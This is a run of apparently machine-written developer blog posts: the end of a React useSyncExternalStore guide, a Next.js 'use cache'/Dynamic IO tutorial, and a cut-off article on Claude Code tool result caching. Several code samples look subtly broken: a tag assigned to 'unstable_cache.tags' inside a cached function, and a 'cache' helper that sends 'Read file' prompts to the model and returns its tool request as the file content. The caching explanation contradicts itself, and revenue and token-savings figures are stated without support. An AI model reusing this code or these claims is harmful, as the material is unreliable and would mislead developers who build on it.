function Counter() {
  const { count, increment, decrement, reset } = useCounter();

  return (
    <div>
      <p>Count: {count}</p>
      <button onClick={increment}>+</button>
      <button onClick={decrement}>-</button>
      <button onClick={reset}>Reset</button>
    </div>
  );
}

The createStore function establishes the core pattern: a closure that encapsulates state and listeners, exposing three methods that implement the useSyncExternalStore contract. The setState implementation merges partial updates with the current state using the spread operator, ensuring a new reference even when only one property changes. This reference change is what triggers React's comparison in useSyncExternalStore.

The createUseStore wrapper adds TypeScript overloads that support both full state selection and custom selectors. The hook calls useSyncExternalStore with the store's subscribe method and a snapshot function that applies the selector. The selector runs on every call to getSnapshot, which happens during render and whenever the store changes. Expensive selectors here would hurt performance, but for most applications the cost is negligible compared to component render time.

The action binding pattern addresses a common confusion with this architecture. Actions need access to setState, but setState is only available after createStore returns. The solution is to define action placeholders in the initial state, then bind the real implementations after store creation. This two-step initialization feels awkward at first but eliminates circular dependencies and keeps the store creation function pure.

Common Mistakes: Snapshot Mutation, Unstable subscribe, and SSR Hydration

The three failure modes that break useSyncExternalStore integrations all stem from violating the hook's contracts. These bugs are invisible in development and only surface in production when concurrent rendering or server hydration exposes the timing assumptions.

Snapshot mutation happens when developers modify the returned object instead of creating a new reference. A store that maintains an array and calls array.push() violates immutability because the array reference stays the same. React's Object.is comparison sees no change, so components don't re-render even though the data changed. The fix is always to replace the array with a new one: [...array, newItem]. This requirement mirrors Redux's reducer rules and exists for the same reason—reference equality is the only performant way to detect changes.

Unstable subscribe functions occur when the subscribe callback is defined inline without useCallback or when it closes over changing variables. React treats function identity changes as subscription changes and runs the cleanup logic. If cleanup doesn't properly remove the old listener, the Set or array of listeners grows without bound. The symptom is components re-rendering multiple times per state change—once per accumulated listener. The fix is to ensure subscribe is defined once at store creation time and returns a stable function reference.

SSR hydration mismatches manifest when getServerSnapshot is omitted or returns a different value than the initial client-side call to getSnapshot. The server renders the component with one value, React hydrates with another, and the mismatch causes React to assume the HTML is invalid. In production mode with selective hydration, React silently suppresses event handlers on the mismatched nodes, leading to buttons that don't respond to clicks. The fix is to provide a getServerSnapshot that matches the server environment—often just returning the initialValue from store creation.

When to Use useSyncExternalStore vs Context vs External Libraries

The decision point for useSyncExternalStore is whether the data source lives outside React's render lifecycle. Browser APIs, WebSocket connections, third-party libraries with their own state—these are external stores that change independently of component renders. Context and useState are sufficient when state exists only within the component tree and React controls when it changes.

Context is the right choice for theme, locale, or authenticated user data that needs to flow down the tree but doesn't need to synchronize with external changes. The key consideration is whether the state could change while a component is suspended or rendering concurrently. If not—if state changes only happen through user actions that trigger synchronous React updates—Context handles it. The performance concern with Context isn't about the hook itself but about how often the provider value changes and re-renders consumers.

External libraries like Zustand or Jotai become valuable when multiple parts of the application need to share state that isn't naturally parent-child related. A shopping cart that three different routes access is easier to model as a global store than to lift state to a shared ancestor and prop-drill through unrelated components. These libraries use useSyncExternalStore internally, so choosing them isn't avoiding the hook—it's choosing a battle-tested implementation instead of writing one from scratch.

The line between "build your own" and "use a library" depends on complexity, not just features. A global store with two or three slices of state and a handful of actions fits comfortably in 50 lines of custom code. A store with async actions, persistence, devtools integration, and complex selector patterns justifies the dependency on a library. The cost of the library is maintenance and bundle size; the cost of custom code is testing and documentation.

Frequently Asked Questions

Why does my component re-render infinitely when using useSyncExternalStore?

The most common cause is a getSnapshot function that returns a new object reference on every call, violating React's Object.is comparison. Ensure getSnapshot caches its result and only returns a new reference when the underlying data actually changes, typically by maintaining a mutable state variable that updates only on subscription callbacks.

Can I use useSyncExternalStore with async data sources like fetch or WebSocket?

Yes, but the getSnapshot function must always return a synchronous value representing the current state—"loading", "error", or the resolved data. The subscription logic handles async events (WebSocket messages, fetch completion) and updates the cached state, which getSnapshot then returns. Never make getSnapshot itself async or return a Promise.

Do I need getServerSnapshot if my app doesn't use server-side rendering?

No, the third argument is optional and only necessary when rendering on the server. For client-only apps, omit it entirely. React only calls getServerSnapshot during server rendering to generate initial HTML, so providing it for a client-only app has no effect but doesn't cause errors.

How do I prevent memory leaks with useSyncExternalStore subscriptions?

The subscribe function must return an unsubscribe callback that removes the listener from the store's internal Set or array. When React unmounts the component or the subscription changes, it calls this cleanup function. Forgetting to return a cleanup function or returning a non-function value prevents React from cleaning up, leaving stale listeners that continue firing after the component unmounts.

Why do libraries like Zustand still recommend memoized selectors if useSyncExternalStore handles subscriptions?

useSyncExternalStore prevents tearing but doesn't prevent unnecessary renders. A selector that returns a new object on every call (state => ({ count: state.count })) creates a new reference even when count hasn't changed, triggering re-renders. Memoization ensures the selector returns the same reference for equal values, which React's Object.is comparison then recognizes as unchanged, skipping the render.

useSyncExternalStore in 2026: The Foundation of Modern React State

The hook that developers dismissed as "advanced" or "library internals" is now unavoidable for anyone working with React 18+ in production. Understanding useSyncExternalStore is understanding why state libraries enforce immutability, why selectors need memoization, and why Context doesn't solve every sharing problem. These aren't arbitrary rules—they're consequences of the concurrent rendering model and the guarantees this hook provides.

The practical impact is that teams building custom integrations—browser storage, WebSocket state, third-party SDK connections—now have a clear pattern instead of fragile workarounds. The days of "just use an event listener and useState" are over. That approach breaks subtly under concurrent rendering, and fixing it after the fact is expensive. Building on useSyncExternalStore from the start means the integration scales from prototype to production without rewrites.

For library authors, this hook is non-negotiable. Any state management library that doesn't use useSyncExternalStore internally will tear under concurrent rendering, and users will report inconsistent UI states that are impossible to reproduce reliably. The migration from custom subscription systems to this hook is why Zustand, Jotai, and Redux all had major version bumps in the React 18 era. The API surface stayed similar, but the internal implementation had to change to guarantee safety.

That covers the essential patterns for useSyncExternalStore. Apply these in production and the difference will be immediate—components that stay consistent under suspense, state that synchronizes across tabs, and integrations that don't break when React introduces new concurrent features. The hook isn't just about preventing bugs; it's about building state architecture that doesn't need defensive workarounds.

Next.js Dynamic IO in 2026: Opting Components Into Static or Dynamic Rendering Without Layout Thrash

jsmanifest — Sun, 30 Aug 2026 17:30:00 +0000

Next.js Dynamic IO in 2026: Opting Components Into Static or Dynamic Rendering Without Layout Thrash

Most Next.js rendering problems stem from treating the entire route as the rendering boundary. Teams ship routes that are completely static when a single component needs dynamic data, or they force entire pages dynamic because one header needs request-time information. The collateral damage shows up as cache invalidation storms, excessive server costs, and layout thrash that users notice.

The pattern that fixes this is Dynamic IO. This approach lets engineers mark individual components for static or dynamic rendering while the rest of the route operates independently. A product page can serve static markup for 90% of its content while streaming personalized recommendations. The route itself stays static. The component opts into dynamic rendering.

The alternative uses the use cache directive and streaming boundaries. Components declare their rendering mode. Static components generate once and cache. Dynamic components execute on request. The route assembles both without forcing a single mode on everything.

This matters because the rendering boundary determines every downstream performance characteristic. Get it wrong and the entire application architecture fights against efficient caching.

Key Takeaways

The use cache directive marks functions and components for static rendering while the surrounding route can remain dynamic.
Dynamic IO operates at component boundaries, unlike Partial Prerendering which operates at route segments.
Layout thrash occurs when dynamic components force synchronous rendering. Streaming with Suspense boundaries prevents this.
Component-level rendering control reduces server costs by caching static content even when some parts need request-time data.
Production monitoring requires tracking cache hit rates per component, not just per route.

Understanding Dynamic IO: The use cache Directive

Dynamic IO introduces a rendering primitive that operates below the route level. The use cache directive marks a function or component boundary as cacheable. When Next.js encounters this directive during server rendering, it evaluates whether the output can be statically generated and reused.

The directive accepts an optional cache key and revalidation strategy:

'use cache';

async function getProductMetadata(productId: string) {
  const product = await db.products.findUnique({
    where: { id: productId },
    select: { title: true, price: true, description: true }
  });

  return product;
}

Without the directive, this function executes on every request. With it, Next.js caches the result and serves it from the cache until the next revalidation window.

The distinction between use cache and traditional route-level caching is critical. Route-level static generation requires the entire page to be deterministic at build time. Dynamic IO allows individual functions within a dynamic route to opt into static behavior.

The cache key determines granularity. Without an explicit key, Next.js derives one from the function arguments. For product metadata, the product ID becomes the cache key automatically. When multiple products share the same metadata structure but different IDs, each gets a separate cache entry.

This approach breaks the coupling between route-level rendering modes and component-level data requirements. A dashboard route marked dynamic at the route level can still cache individual metric calculations using use cache. The route executes on every request. The metric functions serve from cache.

The failure mode here is subtle but expensive. Engineers often assume that marking a route dynamic prevents any static optimization. The opposite is true. Dynamic routes benefit most from component-level caching because they already pay the cost of server execution on every request. Caching the expensive parts reduces that cost without changing the route's rendering mode.

Implementing Component-Level Static Rendering

Component-level static rendering requires three elements: the cache directive, a Suspense boundary, and a streaming-aware layout. The directive marks what to cache. The Suspense boundary controls when to show loading states. The layout prevents cached and dynamic content from competing for the same render cycle.

Start with a component that fetches data:

// app/components/product-reviews.tsx
import { Suspense } from 'react';

async function ReviewList({ productId }: { productId: string }) {
  'use cache';

  const reviews = await db.reviews.findMany({
    where: { productId },
    orderBy: { createdAt: 'desc' },
    take: 10
  });

  return (
    <div className="reviews">
      {reviews.map(review => (
        <article key={review.id}>
          <h3>{review.title}</h3>
          <p>{review.content}</p>
        </article>
      ))}
    </div>
  );
}

export function ProductReviews({ productId }: { productId: string }) {
  return (
    <Suspense fallback={<ReviewsSkeleton />}>
      <ReviewList productId={productId} />
    </Suspense>
  );
}

The ReviewList component declares use cache at the top. Next.js caches the rendered output keyed by productId. When the same product appears in multiple contexts, all instances serve the same cached markup.

The Suspense boundary wraps the cached component. Without this boundary, the entire parent component waits for ReviewList to resolve. With it, the parent renders immediately and streams the reviews when ready.

The parent component might look like this:

// app/products/[id]/page.tsx
import { ProductReviews } from '@/components/product-reviews';

export default async function ProductPage({ 
  params 
}: { 
  params: { id: string } 
}) {
  const product = await getProductMetadata(params.id);

  return (
    <main>
      <h1>{product.title}</h1>
      <p>{product.description}</p>
      <div className="price">${product.price}</div>

      <ProductReviews productId={params.id} />
    </main>
  );
}

Notice that getProductMetadata also uses use cache. The product metadata and reviews cache independently. If reviews update, the product metadata cache remains valid.

This pattern scales to complex layouts. A dashboard with twelve metric cards can cache each card independently:

async function MetricCard({ metricId }: { metricId: string }) {
  'use cache';

  const value = await calculateMetric(metricId);
  return <div className="metric">{value}</div>;
}

export default function Dashboard() {
  const metricIds = [
    'revenue', 'users', 'conversion', 'churn',
    'engagement', 'retention', 'growth', 'satisfaction'
  ];

  return (
    <div className="dashboard">
      {metricIds.map(id => (
        <Suspense key={id} fallback={<MetricSkeleton />}>
          <MetricCard metricId={id} />
        </Suspense>
      ))}
    </div>
  );
}

Each metric calculates and caches independently. When one metric updates, the others serve from cache. The dashboard route itself can be dynamic (regenerating on every request) while the individual metrics stay static between their revalidation intervals.

The implication here is that cache granularity becomes a design decision. Caching the entire dashboard as a unit couples all metrics to the same invalidation schedule. Caching each metric separately decouples them. The tradeoff is complexity versus flexibility.

Dynamic IO vs Partial Prerendering: When to Use Each

Dynamic IO and Partial Prerendering (PPR) solve related problems with different tradeoffs. Understanding when to use each prevents architectural mismatches that compound over time.

Partial Prerendering operates at route segment boundaries. It generates a static shell for the entire route at build time, then injects dynamic content into designated holes during request handling. The static shell includes layout, navigation, and any content known at build time. The dynamic holes stream personalized or request-specific content.

PPR excels when the route structure is stable but specific content varies by request. A blog post route has a consistent layout and structure. The post content, comments, and related posts change. PPR generates the shell once and streams the variable parts.

Dynamic IO excels when individual components have different caching requirements within an otherwise dynamic page. A user dashboard shows real-time notifications (never cache), recent activity (cache for 60 seconds), and account statistics (cache for 5 minutes). Each component declares its own cache strategy. PPR cannot express this granularity because it operates at the route level.

The practical distinction emerges in cache invalidation patterns. PPR invalidates the entire static shell when any build-time data changes. Dynamic IO invalidates individual component caches based on their specific revalidation rules.

Consider an e-commerce category page. The category structure (navigation, filters, sort options) rarely changes. The product list updates frequently. The promotional banner changes daily.

With PPR, the category structure becomes the static shell. The product list and banner fill dynamic holes. When the category structure changes, a new deployment regenerates the shell. The dynamic parts continue streaming.

With Dynamic IO, each section declares its cache strategy independently:

// Category structure: cache for 1 hour
'use cache';
async function CategoryLayout() { /* ... */ }

// Product list: cache for 5 minutes
'use cache';
async function ProductGrid() { /* ... */ }

// Promotional banner: cache for 24 hours
'use cache';
async function PromoBanner() { /* ... */ }

The category page remains dynamic at the route level. Each component revalidates on its own schedule. No deployment required.

PPR requires build-time knowledge of the static shell. Dynamic IO requires runtime cache management. PPR ships less JavaScript because the shell is pure HTML. Dynamic IO enables finer-grained cache control but adds the overhead of cache key management.

Use PPR when the route structure is the primary source of stability. Use Dynamic IO when component-level cache granularity matters more than route-level optimization. The two patterns compose. A PPR route can use Dynamic IO within its dynamic holes.

Avoiding Layout Thrash: Streaming Patterns That Work

Layout thrash occurs when dynamic components force synchronous rendering that blocks the initial paint. The browser receives HTML, starts rendering, then pauses when it encounters a dynamic component that requires server execution. The pause creates visual instability. Content jumps, loads, and jumps again.

The pattern that prevents this separates layout from content using Suspense boundaries and fallback states that match the final layout dimensions.

The critical requirement is that the fallback reserves the exact space the final content will occupy. A skeleton loader that approximates dimensions causes thrash. A skeleton loader that matches dimensions prevents it.

function ReviewsSkeleton() {
  return (
    <div className="reviews" style={{ minHeight: '400px' }}>
      {Array.from({ length: 3 }).map((_, i) => (
        <div key={i} className="review-skeleton">
          <div className="skeleton-title" style={{ width: '60%', height: '24px' }} />
          <div className="skeleton-content" style={{ width: '100%', height: '80px' }} />
        </div>
      ))}
    </div>
  );
}

The minHeight prevents the container from collapsing when content is absent. The skeleton items occupy space proportional to the real reviews. When the reviews stream in, they replace the skeleton without shifting surrounding content.

This approach extends to complex grids. A product grid shows 12 items. The skeleton shows 12 placeholders with identical dimensions:

function ProductGridSkeleton() {
  return (
    <div className="product-grid">
      {Array.from({ length: 12 }).map((_, i) => (
        <div key={i} className="product-card-skeleton" style={{ 
          aspectRatio: '1', 
          minHeight: '300px' 
        }}>
          <div className="skeleton-image" style={{ width: '100%', height: '200px' }} />
          <div className="skeleton-title" style={{ width: '80%', height: '20px' }} />
          <div className="skeleton-price" style={{ width: '40%', height: '16px' }} />
        </div>
      ))}
    </div>
  );
}

The failure mode here is subtle but expensive. Engineers often create generic loading states that work across multiple contexts. A generic card skeleton might be too small for product cards and too large for search results. When the real content arrives, the layout shifts violently.

The solution is context-specific skeletons. Each dynamic component that uses use cache gets a matching skeleton that mirrors its final dimensions. The skeleton becomes part of the component's contract.

Nested Suspense boundaries enable progressive enhancement. A product page might have three levels:

export default function ProductPage({ params }: { params: { id: string } }) {
  return (
    <main>
      <Suspense fallback={<ProductHeroSkeleton />}>
        <ProductHero productId={params.id} />
      </Suspense>

      <Suspense fallback={<ProductDetailsSkeleton />}>
        <ProductDetails productId={params.id} />
      </Suspense>

      <Suspense fallback={<ReviewsSkeleton />}>
        <ProductReviews productId={params.id} />
      </Suspense>
    </main>
  );
}

Each section streams independently. The hero might resolve in 50ms from cache. The details might take 100ms from a database query. The reviews might take 200ms from a slow API. The browser shows each section as soon as it resolves. No section blocks another.

The browser's streaming parser handles this naturally. When the server sends }>, the browser renders the skeleton immediately. When the server sends the replacement content, the browser swaps it in without pausing.

This distinction is critical. Synchronous server rendering waits for all components to resolve before sending any HTML. Streaming sends HTML as soon as any component resolves. The user sees content sooner. Layout thrash only occurs when the fallback state and final state have mismatched dimensions.

Real-World Pattern: E-Commerce Product Pages

Product pages demonstrate the full pattern because they combine static content (product details), personalized content (recommendations), and real-time content (inventory status). Each section has different caching requirements.

// app/products/[id]/page.tsx
import { Suspense } from 'react';
import { ProductDetails } from './product-details';
import { RecommendedProducts } from './recommended-products';
import { InventoryStatus } from './inventory-status';

export default async function ProductPage({ 
  params 
}: { 
  params: { id: string } 
}) {
  return (
    <main className="product-page">
      <Suspense fallback={<ProductDetailsSkeleton />}>
        <ProductDetails productId={params.id} />
      </Suspense>

      <Suspense fallback={<RecommendationsSkeleton />}>
        <RecommendedProducts productId={params.id} />
      </Suspense>

      <Suspense fallback={<InventorySkeleton />}>
        <InventoryStatus productId={params.id} />
      </Suspense>
    </main>
  );
}

The product details cache aggressively because they change rarely:

// app/products/[id]/product-details.tsx
async function ProductDetails({ productId }: { productId: string }) {
  'use cache';

  const product = await db.products.findUnique({
    where: { id: productId },
    include: { images: true, variants: true }
  });

  return (
    <section className="product-details">
      <h1>{product.title}</h1>
      <div className="product-images">
        {product.images.map(img => (
          <img key={img.id} src={img.url} alt={img.alt} />
        ))}
      </div>
      <div className="product-description">
        {product.description}
      </div>
      <div className="product-variants">
        {product.variants.map(variant => (
          <button key={variant.id}>
            {variant.name} - ${variant.price}
          </button>
        ))}
      </div>
    </section>
  );
}

The recommendations personalize based on user behavior, so they use a shorter cache duration and include the user ID in the cache key:

// app/products/[id]/recommended-products.tsx
import { cookies } from 'next/headers';

async function RecommendedProducts({ productId }: { productId: string }) {
  'use cache';

  const userId = cookies().get('userId')?.value;

  const recommendations = await getRecommendations({
    productId,
    userId,
    limit: 4
  });

  return (
    <section className="recommendations">
      <h2>You Might Also Like</h2>
      <div className="product-grid">
        {recommendations.map(product => (
          <ProductCard key={product.id} product={product} />
        ))}
      </div>
    </section>
  );
}

The inventory status never caches because stock levels change constantly:

// app/products/[id]/inventory-status.tsx
async function InventoryStatus({ productId }: { productId: string }) {
  // No 'use cache' directive - always fetch fresh

  const inventory = await getInventoryLevel(productId);

  const statusClass = inventory > 10 ? 'in-stock' : 
                      inventory > 0 ? 'low-stock' : 
                      'out-of-stock';

  return (
    <div className={`inventory-status ${statusClass}`}>
      {inventory > 10 && <span>In Stock</span>}
      {inventory > 0 && inventory <= 10 && (
        <span>Only {inventory} left</span>
      )}
      {inventory === 0 && <span>Out of Stock</span>}
    </div>
  );
}

This pattern creates three cache tiers within a single route. Product details serve from long-lived cache (hours or days). Recommendations serve from short-lived cache (minutes). Inventory status never caches.

The route itself can be static or dynamic. If the route is static, only the inventory status executes on request. If the route is dynamic (perhaps because of personalized pricing), all three sections execute on request but only the inventory status skips the cache.

The business impact here is measurable. A product page that fetches all data on every request might take 300-500ms to generate. The same page with component-level caching takes 50-100ms because most content serves from cache. The inventory check still executes, but it represents a small fraction of the total work.

This matters because product pages drive conversion. Every 100ms of latency reduces conversion by approximately 1%. The difference between 500ms and 100ms is a 4% conversion improvement. On a site doing $10M in annual revenue, that's $400K.

Performance Monitoring and Cache Debugging

Production cache behavior diverges from development patterns because build-time and runtime caching operate under different constraints. Monitoring requires tracking cache hit rates per component, not just per route.

The pattern that works instruments the cache directive with custom logging:

async function getProductMetadata(productId: string) {
  'use cache';

  const startTime = performance.now();

  const product = await db.products.findUnique({
    where: { id: productId },
    select: { title: true, price: true, description: true }
  });

  const duration = performance.now() - startTime;

  // Log cache performance
  console.log({
    component: 'ProductMetadata',
    productId,
    duration,
    cached: duration < 5 // Cache hits typically resolve in <5ms
  });

  return product;
}

Cache hits resolve from memory in microseconds. Cache misses execute the full database query and take milliseconds. The duration threshold distinguishes them reliably.

Aggregate these logs by component and time window to identify cache efficiency problems:

interface CacheMetrics {
  component: string;
  hitRate: number;
  avgHitDuration: number;
  avgMissDuration: number;
  totalRequests: number;
}

function analyzeCacheMetrics(logs: LogEntry[]): CacheMetrics[] {
  const byComponent = groupBy(logs, 'component');

  return Object.entries(byComponent).map(([component, entries]) => {
    const hits = entries.filter(e => e.cached);
    const misses = entries.filter(e => !e.cached);

    return {
      component,
      hitRate: hits.length / entries.length,
      avgHitDuration: average(hits.map(h => h.duration)),
      avgMissDuration: average(misses.map(m => m.duration)),
      totalRequests: entries.length
    };
  });
}

Components with low hit rates indicate cache key problems. If the hit rate for product metadata is 30%, the cache key likely includes request-specific data that varies too much.

Components with high miss durations indicate expensive operations that would benefit from longer cache lifetimes. If product recommendations take 200ms on cache miss, extending the revalidation period from 5 minutes to 15 minutes might be worth the staleness tradeoff.

The debugging pattern that works most reliably is forcing cache misses in development. Add a query parameter that bypasses the cache:

async function getProductMetadata(productId: string, bypassCache?: boolean) {
  if (!bypassCache) {
    'use cache';
  }

  // Rest of function...
}

This approach has a critical limitation. The use cache directive must appear at the top level of the function. Conditional cache directives do not work. The workaround is to create two versions:

async function getProductMetadataCached(productId: string) {
  'use cache';
  return fetchProductMetadata(productId);
}

async function getProductMetadataUncached(productId: string) {
  return fetchProductMetadata(productId);
}

export function getProductMetadata(productId: string, bypassCache?: boolean) {
  return bypassCache 
    ? getProductMetadataUncached(productId)
    : getProductMetadataCached(productId);
}

The pattern separates the caching decision from the data fetching logic. Tests can bypass cache. Production uses cache. The underlying fetch function stays pure.

Cache invalidation requires coordination with the data layer. When product metadata updates, the cache must invalidate. Next.js provides revalidation APIs:

import { revalidateTag } from 'next/cache';

export async function updateProduct(productId: string, updates: ProductUpdate) {
  await db.products.update({
    where: { id: productId },
    data: updates
  });

  // Invalidate cache for this product
  revalidateTag(`product-${productId}`);
}

The cache directive must tag its entries:

async function getProductMetadata(productId: string) {
  'use cache';

  const product = await db.products.findUnique({
    where: { id: productId }
  });

  // Tag this cache entry
  unstable_cache.tags = [`product-${productId}`];

  return product;
}

This pattern couples data mutations to cache invalidation at the transaction level. The product updates and the cache invalidates atomically. Stale cache entries become impossible because updates always trigger invalidation.

Frequently Asked Questions

Can use cache work with dynamic functions like cookies() or headers()?

Yes, but the cache key must include the dynamic values. If a component reads cookies().get('userId'), the cache entry keys on the user ID. Every user gets a separate cache entry. This works for user-specific data but defeats caching for truly dynamic content like timestamps or random values.

How does use cache differ from React's cache() function?

React's cache() deduplicates requests within a single render. Next.js use cache persists results across requests and deployments. React's version prevents duplicate work in one request. Next.js version prevents duplicate work across all requests until revalidation.

When should I use Dynamic IO instead of marking the route as static?

When individual components have different caching requirements or when the route requires request-time data (like authentication) but most content can be cached. Dynamic IO lets you cache aggressively at the component level while keeping the route dynamic for flexibility.

What happens if a cached component throws an error?

Next.js does not cache errors. The component executes on every request until it succeeds. Once it succeeds, the result caches normally. This prevents error states from becoming permanent but means flaky components can degrade cache efficiency.

How do I measure cache hit rates in production?

Instrument cache functions with performance.now() before and after execution. Cache hits resolve in microseconds. Cache misses execute the full function and take milliseconds. Log the duration and aggregate by component to calculate hit rates.

Conclusion: Component-Level Control Without Route-Level Tradeoffs

The rendering boundary determines everything downstream. Route-level static generation couples all components to the same invalidation schedule. Route-level dynamic rendering forces everything to execute on every request. Dynamic IO breaks this coupling by moving the boundary to individual components.

The use cache directive marks functions and components as cacheable. Suspense boundaries control streaming. Skeleton loaders that match final dimensions prevent layout thrash. Cache instrumentation tracks hit rates per component. Revalidation tags couple mutations to invalidation.

This pattern scales from single components to entire applications. A dashboard with twelve metrics can cache each independently. An e-commerce site can cache product details aggressively while fetching inventory fresh. A content platform can cache articles permanently while personalizing recommendations.

That covers the essential patterns for component-level rendering control in Next.js. Apply these in production and the performance difference will be immediate. Cache hit rates will rise. Server costs will drop. Layout stability will improve. The route stays fast regardless of how many components it contains.

Claude Code Tool Result Caching in 2026: Reducing Redundant File Reads and Shell Calls in Long Agent Sessions

jsmanifest — Fri, 28 Aug 2026 17:48:30 +0000

Claude Code Tool Result Caching in 2026: Reducing Redundant File Reads and Shell Calls in Long Agent Sessions

Introduction: The Hidden Cost of Repeated Tool Calls in Long Agent Sessions

Most agent performance problems stem from the same file being read dozens of times across a multi-hour session. A typical refactoring workflow hits package.json fifteen times, tsconfig.json twelve times, and core utility files every time Claude needs to verify a type signature or import path. Each read burns tokens. Each shell command that outputs the same dependency tree or test results burns more. Over a three-hour session these redundant tool calls account for 40-60% of total token consumption.

The problem compounds because developers treat agents as stateless: every new task triggers a fresh batch of reads even when the underlying files have not changed. Claude reads the same 200-line config file at 10:00am, 10:15am, 10:30am, and 11:00am because the session has no memory of the previous result. The agent cannot distinguish between "I need this file because I have never seen it" and "I need this file again to confirm something I already know."

Claude's tool result caching addresses this directly. When a tool returns a result that qualifies for caching, the API stores a hash of the result and returns a cache token. Subsequent identical tool calls within the same session skip execution and retrieve the cached result at a fraction of the token cost. The agent still "sees" the file content in the conversation but pays only for a cache hit instead of a full read operation.

The implication here is that well-structured long sessions—where the agent operates on a stable codebase with predictable file access patterns—can achieve 40-60% token savings without any loss in capability. The failure mode is developers who do not understand when caching applies and inadvertently structure their sessions to defeat it.

Key Takeaways

Tool result caching reduces token consumption by 40-60% in multi-hour Claude Code sessions by storing and reusing file reads and shell command outputs.
Cache hits occur only when the exact same tool call with the same parameters runs again within the session; any parameter change breaks the cache.
Combining tool result caching with /compact and memory tools creates the most efficient agent workflow, but each mechanism serves a distinct purpose.
Cache invalidation happens automatically on file writes, but shell commands require manual invalidation or explicit re-execution to reflect system state changes.
Sessions that defeat caching—through random parameter variations or excessive file rewrites—burn tokens at the same rate as uncached sessions despite the feature being enabled.

How Claude Code Tool Result Caching Works Under the Hood

Tool result caching operates at the API level, not in the client. When Claude executes a tool call that returns a result eligible for caching, the API computes a deterministic hash from the tool name, parameters, and result content. The hash becomes a cache key stored in the session's server-side state. The next time an identical tool call appears—same tool, same parameters—the API checks the cache first. On a hit, the cached result replaces the execution and the token cost drops from the full result size to a small cache reference overhead.

The eligibility rules are specific. File reads qualify automatically: reading /src/utils/types.ts caches the file content until that file changes. Shell commands qualify if their output is deterministic and the command itself does not modify state. Running npm list --depth=0 produces cacheable output because the dependency tree does not change between calls. Running git status does not cache because the working tree state can shift between invocations even with identical parameters.

The cache persists for the session lifetime but invalidates selectively. Writing to a file invalidates its read cache immediately. A shell command cache has no automatic invalidation—developers must either avoid caching non-deterministic commands or accept stale results until the session ends. This distinction is critical: caching accelerates reads but introduces subtle correctness risks for commands that reflect system state.

The performance gain comes from asymmetry: reading a 5KB file costs ~1,200 input tokens on first read but only ~50 tokens on cache hit. In a session where Claude reads tsconfig.json ten times, the first read burns 1,200 tokens and the next nine burn 450 total instead of 10,800. The delta compounds across dozens of files.

Detecting Cacheable vs Non-Cacheable Tool Results in Your Session Transcripts

The API does not expose cache hit metadata in the standard response, but developers can infer caching behavior from token counts in the session transcript. A file read that costs 1,200 input tokens the first time and 50 tokens the second time signals a cache hit. A shell command that consistently costs the same token amount across multiple calls signals either a cache miss or a result too small for the overhead delta to be visible.

The pattern to watch for is repeated tool calls with identical parameters. If Claude runs read_file("/src/config.ts") five times in a session and the token cost drops after the first call, caching is working. If the cost stays constant, either the file changed between reads or the result did not qualify for caching. Shell commands with variable output—like git diff after commits—will show fluctuating token costs because the result changes even when the command does not.

Non-deterministic commands break caching silently. Running date or uname -a produces different output on every call, so the cache key never matches and the API re-executes every time. Running ls -la in a directory where files are being added or removed produces a new cache key on every call. These commands burn full execution tokens despite appearing identical.

The diagnostic workflow is straightforward: export the session transcript, identify tool calls with identical parameters, and compare token counts. A 20x difference between first and subsequent calls confirms caching. A 1x ratio across identical calls signals a cache miss or an invalidation trigger. This matters because sessions that inadvertently defeat caching pay full execution costs while assuming they are benefiting from optimization.

Code Example: Marking File Reads and Shell Commands as Cache-Eligible

Claude's tool result caching activates automatically for file reads, but developers can optimize shell commands by structuring them to produce deterministic output. The key is isolating state-dependent commands from pure reads and flagging the latter as safe for caching.

// api/agent-session.ts
import Anthropic from '@anthropic-ai/sdk';

interface ToolCall {
  name: string;
  parameters: Record<string, unknown>;
}

interface CachedToolResult {
  cacheHit: boolean;
  tokenCost: number;
  result: string;
}

async function executeToolWithCache(
  client: Anthropic,
  sessionId: string,
  toolCall: ToolCall
): Promise<CachedToolResult> {
  const { name, parameters } = toolCall;

  // File reads are automatically cache-eligible
  if (name === 'read_file') {
    const response = await client.messages.create({
      model: 'claude-sonnet-4-20250514',
      max_tokens: 8192,
      messages: [
        {
          role: 'user',
          content: `Read file: ${parameters.path}`,
        },
      ],
      tools: [
        {
          name: 'read_file',
          description: 'Read file content',
          input_schema: {
            type: 'object',
            properties: {
              path: { type: 'string' },
            },
            required: ['path'],
          },
        },
      ],
    });

    // Cache hit is inferred from token usage delta
    const usage = response.usage;
    const cacheHit = usage.cache_read_input_tokens > 0;

    return {
      cacheHit,
      tokenCost: usage.input_tokens,
      result: extractToolResult(response),
    };
  }

  // Shell commands require explicit cache hints
  if (name === 'execute_command') {
    const command = parameters.command as string;
    const isDeterministic = checkCommandDeterminism(command);

    const response = await client.messages.create({
      model: 'claude-sonnet-4-20250514',
      max_tokens: 8192,
      messages: [
        {
          role: 'user',
          content: `Execute: ${command}`,
        },
      ],
      tools: [
        {
          name: 'execute_command',
          description: 'Execute shell command',
          input_schema: {
            type: 'object',
            properties: {
              command: { type: 'string' },
              cacheable: { type: 'boolean' },
            },
            required: ['command'],
          },
        },
      ],
      // Hint to API that result is cacheable
      metadata: {
        cacheable: isDeterministic,
      },
    });

    const usage = response.usage;
    const cacheHit = usage.cache_read_input_tokens > 0;

    return {
      cacheHit,
      tokenCost: usage.input_tokens,
      result: extractToolResult(response),
    };
  }

  throw new Error(`Unknown tool: ${name}`);
}

function checkCommandDeterminism(command: string): boolean {
  // Commands that read static state are deterministic
  const deterministicPatterns = [
    /^npm list/,
    /^cat /,
    /^head /,
    /^tail /,
    /^grep /,
    /^find /,
    /^ls /,
  ];

  // Commands that reflect mutable state are not
  const nonDeterministicPatterns = [
    /^date/,
    /^git status/,
    /^git diff/,
    /^ps /,
    /^df /,
    /^uptime/,
  ];

  if (nonDeterministicPatterns.some((p) => p.test(command))) {
    return false;
  }

  return deterministicPatterns.some((p) => p.test(command));
}

function extractToolResult(response: Anthropic.Message): string {
  const content = response.content.find(
    (c) => c.type === 'tool_use'
  );
  return content ? JSON.stringify(content) : '';
}

The critical detail is the cacheable metadata hint. The API does not require this field, but setting it to false for non-deterministic commands prevents stale cache hits. The checkCommandDeterminism function is a heuristic—production code should maintain an allowlist of known-safe commands rather than pattern matching.

The failure mode here is marking a command as deterministic when it is not. Running npm list is safe because package versions do not change during a session. Running git status is not safe because the working tree can change between calls. Caching the latter produces stale results that mislead the agent about the repository state.

Combining Tool Result Caching with /compact and Memory Tools for Maximum Efficiency

